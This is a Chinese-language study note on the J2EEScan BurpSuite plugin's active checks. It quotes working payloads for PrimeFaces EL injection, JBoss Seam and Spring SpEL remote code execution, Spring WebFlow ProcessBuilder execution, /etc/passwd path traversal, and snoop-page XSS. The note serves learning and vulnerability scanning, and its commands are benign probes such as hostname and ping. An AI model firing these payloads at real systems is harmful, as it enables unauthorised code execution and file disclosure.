插件开发学习第10套。前置文章:
【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(21-30)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(31-40)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(41-50)
路径
private static final List<String> staticURLFolders = Arrays.asList(
"/resources/",
"/files/",
"/upload/",
"/static/",
"/content/",
"/html/",
"/deploy/"
);
先判断真实的路径中有没有上述的path
for (String staticResourceFolder : staticURLFolders) {
if (currentPath.contains(staticResourceFolder)) {
然后将原始的HTTP做一个替换
String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
替换的payload是
private static final String INJ = "file:/etc/passwd";
mutator函数就是一个找正则然后replace
private String mutator(String httpRequest, String staticResourceFolder, String payload) {
return httpRequest.replaceFirst(staticResourceFolder + ".* ", payload + " ");
}
payload
PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
private static final String INJ_TEST = "uMKljPgnOTVxmOB%2bH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVYjEh7SE3F4WmfKUle6apy2QGwABuVlzurPsgFxYP0G3b1dDqmgmxMw%3d%3d";
match返回包则存在漏洞
if (header.contains("J2EESCANPRIME")) {
这是个RCE
关键是这个pfdrid参数,是EL表达式的加密结果。
这里payload是加密下面的表达式,所以判断返回包是看headers
"${facesContext.getExternalContext().setResponseHeader(\\\"J2EESCANPRIME\\\",\\\"primefaces\\\")}"
默认密码是
Default = primefaces
利用工具看这个
https://github.com/pimps/CVE-2017-1000486
REST API Swagger 的相关问题
相关路径
private static final List<String> SWAGGER_APIS = Arrays.asList(
"/swagger-ui.html",
"/swagger/swagger-ui.html",
"/api/swagger-ui.html",
"/swagger/index.html",
"/%20/swagger-ui.html"
);
这个我们见得比较多了,这里面能拿到服务端的一些API构造。
match
private static final byte[] GREP_STRING = "Swagge" .getBytes();
JBoss seam2的模板注入
payload
byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
);
match的是hostname?
private static final byte[] GREP_STRING_L = "java.lang.UNIXProcess".getBytes();
private static final byte[] GREP_STRING_W = "java.lang.ProcessImpl".getBytes();
上面的payload是直接反射取
下面这个是遍历取,有一点绕过的感觉,
byte[] rawRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[" + i + "].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}}", IParameter.PARAM_URL)
);
match一样
看着像是GET请求的XSS
PATH
private static final List<String> SNOOP_PATHS = Arrays.asList(
"/snoop.jsp?" + XSS_PAYLOAD,
"/examples/jsp/snp/snoop.jsp?" + XSS_PAYLOAD,
"/examples/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/j2ee/servlet/SnoopServlet?" + XSS_PAYLOAD,
"/jsp-examples/snp/snoop.jsp?" + XSS_PAYLOAD
);
payload用的h1标签
private static final String XSS_PAYLOAD = "j2eescan"
;
有意思的是
match如果是
private static final byte[] GREP_STRING = "Path translated".getBytes();
则是低危
如果是
<h1>j2eescan";
就是中危
遍历Path
private static final List<String> SPRINGBOOT_ACTUATOR_PATHS = Arrays.asList(
"/health",
"/manager/health",
"/actuator",
"/actuator/jolokia/list",
"/jolokia/list",
"/env"
);
match这几个
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"{\"status\":\"UP\"}".getBytes(),
"{\"_links\":".getBytes(),
"org.spring".getBytes(),
"java.vendor".getBytes()
);
SpringBoot 的内存泄露吧,之前因为这个页面泄露了大量用户token能直接接管用户账号,所以也并不是他描述的low,需要实际去看。
首先POST换成PATCH(这里GET还不行?)
headers.set(0, firstHeader.replaceFirst("POST ", "PATCH "));
换个contenttype和accept
List<String> headersWithContentTypePatch = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/json-patch+json");
List<String> headersWithContentTypePatchAndAccept = HTTPParser.addOrUpdateHeader(headersWithContentTypePatch, "Accept", "*/*");
发送payload
String finalPayload = "[{ \"op\" : \"replace\", \"path\" : \"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(" + payload + ").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x\", \"value\" : \"j2eescan\" }]";
无回显的话payload可以用ping dns来match
2020年的洞
Spring Cloud Config的目录穿越,比较好构造
payload
private static final List<String> SPRINGCLOUD_TRAVERSALS = Arrays.asList(
"/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23"
);
match passwod就行
https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c
这是个spel表达式注入漏洞
补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。
SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持,详情可查看SimpleEvaluationContext的实现。
payload
String injection = "[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\")]=";
替换的方式是
String updatedBody = requestBody.replace("=", finalPayload);
Spring WebFlow 2.4.0 - 2.4.4
payload一把梭
String injection = "_(new java.lang.ProcessBuilder(\"bash\",\"-c\",\"ping -c 3 %s\")).start()";